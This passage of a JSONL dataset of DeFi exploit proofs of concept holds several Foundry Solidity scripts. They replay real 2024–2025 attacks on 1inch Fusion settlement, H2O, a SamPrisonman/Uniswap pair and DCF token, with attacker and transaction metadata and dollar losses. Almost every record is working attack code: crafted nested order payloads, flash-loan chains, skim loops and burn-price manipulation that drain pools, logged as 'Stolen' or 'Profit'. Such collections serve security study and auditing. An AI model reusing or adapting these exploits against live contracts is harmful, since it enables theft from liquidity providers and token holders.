SettlementAddr,\n _CONTINUE_INTERACTION,\n abi.encode(\n sixthOrder,\n FAKE_SIGNATURE_LENGTH_OFFSET,\n FAKE_INTERACTION_LENGTH_OFFSET,\n 0,\n _AMOUNT_TO_STEAL,\n 0,\n ATTACK_CONTRACT\n ),\n zeroBytes,\n FAKE_INTERACTION_LENGTH,\n finalOrderInteraction\n );\n }\n \n bytes memory signature = hex\"\";\n\n // Order memory _fifthOrder = fifthOrder; // Stack to deep\n {\n\n Order memory fifthOrder = Order(\n 0, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction4 = abi.encodePacked(\n SettlementAddr,\n _CONTINUE_INTERACTION,\n abi.encode(fifthOrder, signature, interaction5, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n bytes1 __CONTINUE_INTERACTION = 0x00;\n Order memory fourthOrder = Order(\n 1, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction3 = abi.encodePacked(\n SettlementAddr,\n __CONTINUE_INTERACTION,\n abi.encode(fourthOrder, signature, interaction4, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n Order memory thirdOrder = Order(\n 2, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction2 = abi.encodePacked(\n SettlementAddr,\n __CONTINUE_INTERACTION,\n abi.encode(thirdOrder, signature, interaction3, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n Order memory secondOrder = Order(\n 3, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction = abi.encodePacked(\n SettlementAddr,\n __CONTINUE_INTERACTION,\n abi.encode(secondOrder, signature, interaction2, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n Order memory orderStruct = Order(\n 4, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions (empty)\n );\n\n // Final payload, will execute bottom up from interaction to interaction5 \u2191\n bytes memory orderData = abi.encode(orderStruct, signature, interaction, 0, 1, 0, ATTACK_CONTRACT);\n \n vm.prank(ATTACK_DEPLOYER, ATTACK_DEPLOYER);\n\n // Finally call the attack contract with the crafted order\n ATTACK_CONTRACT.call(abi.encodeWithSignature(\"settle(bytes)\", orderData));\n }\n\n uint256 balanceUSDCFundsReceiver = IUSDC(USDC).balanceOf(FUNDS_RECEIVER);\n console.log(\"Stolen %d USDC\", balanceUSDCFundsReceiver);\n }", "has_exploit_code": true, "keyinfo_total_lost": "4.5M", "keyinfo_attacker": "https://etherscan.io/address/0xA7264a43A57Ca17012148c46AdBc15a5F951766e", "keyinfo_attack_contract": "https://etherscan.io/address/0x019BfC71D43c3492926D4A9a6C781F36706970C9", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xa88800cd213da5ae406ce248380802bd53b47647", "keyinfo_attack_tx": "https://etherscan.io/tx/0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6", "analysis_postmortem": "https://blog.decurity.io/yul-calldata-corruption-1inch-postmortem-a7ea7a53bfd9", "analysis_twitter": "https://x.com/DecurityHQ/status/1898069385199153610", "funds_lost_formatted": "$4.50M", "content_richness_score": 9, "quality_estimate": "high", "title": "OneInchFusionV1SettlementHack.sol Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 22470 USD\n// Attacker : https://bscscan.com/address/0x8842dd26fd301c74afc4df12e9cdabd9db107d1e\n// Attack Contract : https://bscscan.com/address/0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d\n// Vulnerable Contract : https://bscscan.com/address/0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1\n// Attack Tx 1(Loss profit) : https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7\n// Attack Tx 2(revert) : https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd\n// Attack Tx 3(revert) : https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e\n// Attack Tx 4(profit) : https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant H2O = 0xe9c4D4f095C7943a9ef5EC01AfD1385D011855A1;\naddress constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\n\naddress constant pancakeSwapFactoryV2 = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;\naddress constant PancakeV3Pool = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;\naddress constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\ncontract H2O_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 47_454_899 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attC = new AttackerC();\n\n // Fund the contract\n deal(BUSD, address(attC), 300 ether);\n\n // 1st attack(No profit): https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7\n _setRandomIn(0);\n attC.attack();\n console2.log(\"Profit:\", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);\n\n // 2nd attack(revert), fail random check: https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd\n \n // 3rd attack(revert), fail random check: https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e\n \n // 4th attack: https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3\n \n _setRandomIn(1);\n attC.attack();\n console2.log(\"Profit:\", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);\n }\n\n function _setRandomIn(uint256 n) internal {\n while(true) {\n bytes32 randomBytes = keccak256(abi.encodePacked(\n block.timestamp, \n IFS(H2O).pair(),\n blockhash(block.number-1))\n );\n uint256 r = uint256(randomBytes) % 2;\n if (r == n) break;\n vm.warp(block.timestamp + 1);\n }\n }\n}\n\ncontract AttackerC {\n address pair;\n\n function attack() external {\n pair = IFS(pancakeSwapFactoryV2).getPair(H2O, BUSD);\n \n IFS(PancakeV3Pool).flash(\n address(this), \n 100000 ether,\n 0,\n \"\"\n );\n\n }\n\n function pancakeV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external {\n uint256 bal0 = IFS(BUSD).balanceOf(address(this));\n IFS(BUSD).approve(pancakeSwapRouterV2, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = BUSD;\n path[1] = H2O;\n IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bal0,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n for (uint256 i = 0; i < 50; i++) {\n uint256 bal = IFS(H2O).balanceOf(address(this));\n IFS(H2O).transfer(pair, bal);\n IFS(pair).skim(address(this));\n }\n\n uint256 bal1 = IFS(H2O).balanceOf(address(this));\n console2.log(bal1);\n\n IFS(H2O).approve(pancakeSwapRouterV2, type(uint256).max);\n\n address[] memory path2 = new address[](2);\n path2[0] = H2O;\n path2[1] = BUSD;\n IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bal1,\n 0,\n path2,\n address(this),\n block.timestamp\n );\n\n IFS(BUSD).transfer(PancakeV3Pool, 100000 ether + fee0);\n }\n}\n\ninterface IFS is IERC20 {\n // PancakeSwap: Pair\n function skim(address to) external;\n\n // PancakeSwap: Factory v2\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n\n // PancakeV3Pool\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n function pancakeV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n\n // IPancakeRouter02\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n // H2O\n function pair() external view returns(address);\n}\n\n", "type": "exploit_poc", "protocol": "H2O", "date": "2025-03", "file_name": "H2O_exp.sol", "attack_vector": null, "content_hash": "b278332219ba261a", "collected_at": "2026-01-07T10:59:16.532494", "_source": "postmortems", "chain": "bsc", "block_number": 47454899, "total_lost_raw": "22470 USD", "total_lost_usd": 22470.0, "attacker_address": "https://bscscan.com/address/0x8842dd26fd301c74afc4df12e9cdabd9db107d1e", "attack_contract": "https://bscscan.com/address/0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d", "vulnerable_contract": "https://bscscan.com/address/0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "22470 USD", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attC = new AttackerC();\n\n // Fund the contract\n deal(BUSD, address(attC), 300 ether);\n\n // 1st attack(No profit): https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7\n _setRandomIn(0);\n attC.attack();\n console2.log(\"Profit:\", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);\n\n // 2nd attack(revert), fail random check: https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd\n \n // 3rd attack(revert), fail random check: https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e\n \n // 4th attack: https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3\n \n _setRandomIn(1);\n attC.attack();\n console2.log(\"Profit:\", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);\n }", "has_exploit_code": true, "keyinfo_total_lost": "22470 USD", "keyinfo_attacker": "https://bscscan.com/address/0x8842dd26fd301c74afc4df12e9cdabd9db107d1e", "keyinfo_attack_contract": "https://bscscan.com/address/0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$22.5K", "content_richness_score": 7.65, "quality_estimate": "medium", "title": "H2O Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 14K USD\n// Attacker : https://etherscan.io/address/0x97d8170e04771826a31c4c9b81e9f9191a1c8613\n// Attack Contract : https://etherscan.io/address/0x2901c8b8e6d9f2c9f848987ded74b776ab1f973e\n// Vulnerable Contract : https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x6c8aed8d0eab29416cd335038cd5ee68c5e27bfb001c9eac7fc14c7075ed4420?line=0\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1\n\n// @Analysis\n// Post-mortem : https://x.com/CertiKAlert/status/1897973904653607330\n// Twitter Guy : https://x.com/CertiKAlert/status/1897973904653607330\n// Hacking God : N/A\n\naddress constant SamPrisonman = 0xdDF309b8161aca09eA6bBF30Dd7cbD6c474FF700;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant UniswapV2Pair = 0x76EA342BC038d665e8a116392c82552D2605edA1;\naddress constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant addr2 = 0xaCa4263fFddA9E60C7260AAbA08c2b8F80D63cB1;\naddress constant attacker = 0x97d8170e04771826A31C4c9B81E9f9191a1C8613;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21992033);\n deal(attacker, 4e-15 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC{value: 4e-15 ether}();\n // deal(address(attC), 4e-15 ether);\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\ncontract AttackerC {\n constructor() payable {\n (bool s1, ) = addr2.call(abi.encodeWithSelector(bytes4(0x4f49cd31)));\n s1;\n\n address[] memory path = new address[](2);\n path[0] = addr1;\n path[1] = SamPrisonman;\n (bool s2, ) = UniswapV2Router02.call{value: address(this).balance}(\n abi.encodeWithSelector(\n IUniswapV2Router02.swapExactETHForTokensSupportingFeeOnTransferTokens.selector,\n 0,\n path,\n address(this),\n block.timestamp\n )\n );\n s2;\n\n (bool s3, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.skim.selector, UniswapV2Pair));\n s3;\n\n (bool s4, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.transfer.selector, UniswapV2Pair, uint256(1)));\n s4;\n\n (bool s5, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.sync.selector));\n s5;\n\n uint256 bal = 0;\n (bool s6, bytes memory r6) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.balanceOf.selector, address(this)));\n if (s6 && r6.length >= 32) {\n bal = abi.decode(r6, (uint256));\n }\n\n (bool s7, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.approve.selector, UniswapV2Router02, type(uint256).max));\n s7;\n\n address[] memory path2 = new address[](2);\n path2[0] = SamPrisonman;\n path2[1] = addr1;\n (bool s8, ) = UniswapV2Router02.call(\n abi.encodeWithSelector(\n IUniswapV2Router02.swapExactTokensForETHSupportingFeeOnTransferTokens.selector,\n bal,\n 0,\n path2,\n tx.origin,\n block.timestamp\n )\n );\n s8;\n }\n\n receive() external payable {}\n}\n\ninterface ISamPrisonman {\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external returns (uint256);\n\tfunction transfer(address, uint256) external returns (bool); \n}\ninterface IUniswapV2Router02 {\n\tfunction swapExactTokensForETHSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;\n\tfunction swapExactETHForTokensSupportingFeeOnTransferTokens(uint256, address[] calldata, address, uint256) external payable; \n}\ninterface IUniswapV2PairLike {\n function skim(address to) external;\n function sync() external;\n}", "type": "exploit_poc", "protocol": "UNI", "date": "2025-03", "file_name": "UNI_exp.sol", "attack_vector": null, "content_hash": "cd1e4a6dc0fca9ae", "collected_at": "2026-01-07T10:59:16.532558", "_source": "postmortems", "chain": "ethereum", "block_number": 21992033, "total_lost_raw": "14K USD", "total_lost_usd": 14000.0, "attacker_address": "https://etherscan.io/address/0x97d8170e04771826a31c4c9b81e9f9191a1c8613", "attack_contract": "https://etherscan.io/address/0x2901c8b8e6d9f2c9f848987ded74b776ab1f973e", "vulnerable_contract": "https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x6c8aed8d0eab29416cd335038cd5ee68c5e27bfb001c9eac7fc14c7075ed4420?line=0", "postmortem_url": "https://x.com/CertiKAlert/status/1897973904653607330", "twitter_url": "https://x.com/CertiKAlert/status/1897973904653607330", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "14K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC{value: 4e-15 ether}();\n // deal(address(attC), 4e-15 ether);\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\ncontract AttackerC {\n constructor() payable {\n (bool s1, ) = addr2.call(abi.encodeWithSelector(bytes4(0x4f49cd31)));\n s1;\n\n address[] memory path = new address[](2);\n path[0] = addr1;\n path[1] = SamPrisonman;\n (bool s2, ) = UniswapV2Router02.call{value: address(this).balance}(\n abi.encodeWithSelector(\n IUniswapV2Router02.swapExactETHForTokensSupportingFeeOnTransferTokens.selector,\n 0,\n path,\n address(this),\n block.timestamp\n )\n );\n s2;\n\n (bool s3, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.skim.selector, UniswapV2Pair));\n s3;\n\n (bool s4, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.transfer.selector, UniswapV2Pair, uint256(1)));\n s4;\n\n (bool s5, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.sync.selector));\n s5;\n\n uint256 bal = 0;\n (bool s6, bytes memory r6) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.balanceOf.selector, address(this)));\n if (s6 && r6.length >= 32) {\n bal = abi.decode(r6, (uint256));\n }\n\n (bool s7, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.approve.selector, UniswapV2Router02, type(uint256).max));\n s7;\n\n address[] memory path2 = new address[](2);\n path2[0] = SamPrisonman;\n path2[1] = addr1;\n (bool s8, ) = UniswapV2Router02.call(\n abi.encodeWithSelector(\n IUniswapV2Router02.swapExactTokensForETHSupportingFeeOnTransferTokens.selector,\n bal,\n 0,\n path2,\n tx.origin,\n block.timestamp\n )\n );\n s8;\n }\n\n receive() external payable {}\n}\n\ninterface ISamPrisonman {", "has_exploit_code": true, "keyinfo_total_lost": "14K USD", "keyinfo_attacker": "https://etherscan.io/address/0x97d8170e04771826a31c4c9b81e9f9191a1c8613", "keyinfo_attack_contract": "https://etherscan.io/address/0x2901c8b8e6d9f2c9f848987ded74b776ab1f973e", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x6c8aed8d0eab29416cd335038cd5ee68c5e27bfb001c9eac7fc14c7075ed4420?line=0", "analysis_postmortem": "https://x.com/CertiKAlert/status/1897973904653607330", "analysis_twitter": "https://x.com/CertiKAlert/status/1897973904653607330", "funds_lost_formatted": "$14.0K", "content_richness_score": 8.15, "quality_estimate": "high", "title": "UNI Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport {Test, console} from \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~442k\n// Attacker : https://bscscan.com/address/0x00c58434f247dfdca49b9ee82f3013bac96f60ff\n// Attack Contract : https://bscscan.com/address/0x77ab960503659711498a4c0bc99a84e8d0a47589\n// Vulnerable Contract : https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6\n// Attack Tx : https://bscscan.com/tx/0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6#code\n\n// @Analysis\n// Twitter Guy : https://x.com/Phalcon_xyz/status/1860890801909190664\n// Hacking God [EN]: https://lunaray.medium.com/dcf-hack-analysis-dbcd3589c6fc\n// Hacking God [\u4e2d]: https://www.panewslab.com/zh_hk/articledetails/nvh5p8pjf4go.html\n\naddress constant BUSD_addr = 0x55d398326f99059fF775485246999027B3197955;\naddress constant DCF_addr = 0xA7e92345ddF541Aa5CF60feE2a0e721C50Ca1adb;\naddress constant DCT_addr = 0x56f46bD073E9978Eb6984C0c3e5c661407c3A447;\naddress constant PancakeSwapRouterv2_addr = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant PancakeSwapV2_BSCUSD_DCF_12_addr = 0x8487f846d59F8FB4f1285C64086b47e2626C01B6;\naddress constant PancakeSwapV2_BSCUSD_DCT_6_addr = 0x5aaC7375196e9eA76b1598ed4BE19B41fA5Ba651;\n\n\ncontract DCFToken is Test {\n IBEP20 DCF = IBEP20(0xA7e92345ddF541Aa5CF60feE2a0e721C50Ca1adb);\n Attack_Contract attack_Contract;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 44290969);\n vm.startPrank(0x00c58434F247DFdCA49b9EE82f3013BAC96F60FF, 0x00c58434F247DFdCA49b9EE82f3013BAC96F60FF);\n\n attack_Contract = new Attack_Contract();\n DCF.approve(address(attack_Contract), 416_258_263_298_472_398_299);\n }\n\n function testExploit() public {\n attack_Contract.exploit();\n }\n}\n\ncontract Attack_Contract {\n struct Pancake {\n address addr;\n uint amount;\n bool bUSDIndex;\n }\n address[] path = new address[](2);\n Pancake[] pancakeV3Pools;\n Pancake[] pancakeSwapV2s;\n IBEP20 BUSD = IBEP20(BUSD_addr);\n IBEP20 DCF = IBEP20(DCF_addr);\n IBEP20 DCT = IBEP20(DCT_addr);\n \n uint deadline = 1732453876;\n uint step = 1;\n IPancakeSwapRouterV2 PancakeSwapRouterV2 = IPancakeSwapRouterV2(PancakeSwapRouterv2_addr);\n IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCF_12 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCF_12_addr);\n IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCT_6 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCT_6_addr);\n\n constructor() {\n // pancakeV3Pools - Used to obtain a large amount of BUSD via flash loans\n pancakeV3Pools.push(Pancake({addr: 0x92b7807bF19b7DDdf89b706143896d05228f3121, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x36696169C63e42cd08ce11f5deeBbCeBae652050, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x172fcD41E0913e95784454622d1c3724f546f849, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0xBe141893E4c6AD9272e8C04BAB7E6a10604501a5, amount: 0, bUSDIndex: true}));\n pancakeV3Pools.push(Pancake({addr: 0x1936be860d93B0Ff98f3a9b83254D61A78930B76, amount: 0, bUSDIndex: true}));\n pancakeV3Pools.push(Pancake({addr: 0x247f51881d1E3aE0f759AFB801413a6C948Ef442, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x7f51c8AaA6B0599aBd16674e2b17FEc7a9f674A1, amount: 0, bUSDIndex: true}));\n // pancakeSwapV2s - Utilize swap to acquire a large amount of BUSD\n pancakeSwapV2s.push(Pancake({addr: 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0x7C1f8F5d8d000b00a2Eaa3c21071dBca18f6825d, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0xF31cb18759FE8356348c81268b859d2a32bf2117, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0x5a5fD4DBF70747E684F43B43aB53d4b0C733293D, amount: 0, bUSDIndex: true}));\n pancakeSwapV2s.push(Pancake({addr: 0xB51f9508B88F0868aE14E74C5D7d1F34E2f419c1, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0x8665A78ccC84D6Df2ACaA4b207d88c6Bc9b70Ec5, amount: 0, bUSDIndex: true}));\n }\n \n function exploit() public { \n pancakeV3Pools[0].amount = BUSD.balanceOf(pancakeV3Pools[0].addr) - 100_000_000_000_000_000_000;\n \n // Stage 0: Prepare attack funds\n // Borrow a large amount of BUSD from the PancakeSwap V3 pool\n IPancakeV3Pool(pancakeV3Pools[0].addr).flash(address(this), pancakeV3Pools[0].amount, 0, abi.encodePacked(step));\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n Pancake storage old_pancakeV3Pool = pancakeV3Pools[step-1];\n old_pancakeV3Pool.bUSDIndex? old_pancakeV3Pool.amount += fee1 : old_pancakeV3Pool.amount += fee0;\n \n if (step < pancakeV3Pools.length) {\n Pancake storage pancakeV3Pool = pancakeV3Pools[step];\n pancakeV3Pool.amount = BUSD.balanceOf(pancakeV3Pool.addr) - 100_000_000_000_000_000_000;\n if (pancakeV3Pool.bUSDIndex)\n IPancakeV3Pool(pancakeV3Pool.addr).flash(address(this), 0, pancakeV3Pool.amount, abi.encode(++step));\n else \n IPancakeV3Pool(pancakeV3Pool.addr).flash(address(this), pancakeV3Pool.amount, 0, abi.encode(++step));\n }\n else {\n step = 1;\n // Subtract 10^20 to avoid triggering the require check for INSUFFICIENT_LIQUIDITY in the contract\n pancakeSwapV2s[0].amount = BUSD.balanceOf(pancakeSwapV2s[0].addr) - 100_000_000_000_000_000_000;\n // The attacker uses PancakeSwap's swap function, first transferring the swapped tokens out, then paying tokens in the callback function, gaining a large amount of BUSD through a series of recursive swap operations\n IPancakeSwapV2(pancakeSwapV2s[0].addr).swap(pancakeSwapV2s[0].amount, 0, address(this), abi.encodePacked(step));\n }\n }\n\n function pancakeCall (address sender, uint amount0, uint amount1, bytes calldata data) external {\n Pancake storage old_pancakeSwapV2 = pancakeSwapV2s[step-1];\n // 0.25% for fee\n old_pancakeSwapV2.amount = old_pancakeSwapV2.amount * 100_251 / 100_000;\n \n if (step < pancakeSwapV2s.length){\n Pancake storage pancakeSwapV2 = pancakeSwapV2s[step];\n // Subtract 10^20 to avoid triggering the require check for INSUFFICIENT_LIQUIDITY in the contract\n pancakeSwapV2.amount = BUSD.balanceOf(pancakeSwapV2.addr) - 100_000_000_000_000_000_000;\n if (pancakeSwapV2.bUSDIndex)\n IPancakeSwapV2(pancakeSwapV2.addr).swap(0, pancakeSwapV2.amount, address(this), abi.encode(++step));\n else \n IPancakeSwapV2(pancakeSwapV2.addr).swap(pancakeSwapV2.amount, 0, address(this), abi.encode(++step));\n }\n else {\n // Step 1: The attacker transfers all the DCF he holds to the attack contract\n DCF.transferFrom(tx.origin, address(this), 83_741_736_701_527_601_701);\n \n // Step 2: The attacker used 80,435,691 BUSD to exchange 4,039 DCF to 0x16600100b04d17451a03575436b4090f6ff8f404.\n BUSD.approve(address(PancakeSwapRouterV2), type(uint256).max);\n (path[0], path[1]) = (address(BUSD), address(DCF));\n PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(80_435_691_245_080_307_237_888_143, 0, path, 0x16600100b04d17451a03575436B4090f6Ff8f404, deadline);\n \n // Step 3: The attacker used the remaining 29,919,679 BUSD to exchange 1,062,693 DCT for the attack contract\n BUSD.approve(address(PancakeSwapRouterV2), type(uint256).max);\n (path[0], path[1]) = (address(BUSD), address(DCT));\n PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(29_919_669_280_925_435_923_030_360, 0, path, address(this), deadline);\n \n // Step 4: The attacker uses transfer to send 82 DCF to the PancakeSwap Pair BUSD-DCF\n // Vulnerability: The transfer of DCF\n // When `to` is the address of the PancakeSwap Pair, the code will destroy about half of the transferred DCF amount from the PancakeSwap Pair and increase the prices of DCF and DCT\n DCF.transfer(address(PancakeSwapV2_BSCUSD_DCF_12), 82_756_539_699_156_688_738);\n \n // Final: The attacker sells DCF and DCT, making a profit of 442,028 BUSD\n PancakeSwapV2_BSCUSD_DCF_12.swap(72_612_978_985_490_861_981_525_879, 0, address(this), \"\");\n BUSD.transfer(address(PancakeSwapV2_BSCUSD_DCT_6), 1_000_000_000_000_000_000);\n DCT.approve(address(PancakeSwapRouterV2), type(uint256).max);\n (path[0], path[1]) = (address(DCT), address(BUSD));\n PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(1_062_693_418_683_145_675_940_998, 0, path, address(this), deadline);\n\n // Pay back the flash loan\n for (uint i = 0; i < pancakeV3Pools.length; i++)\n 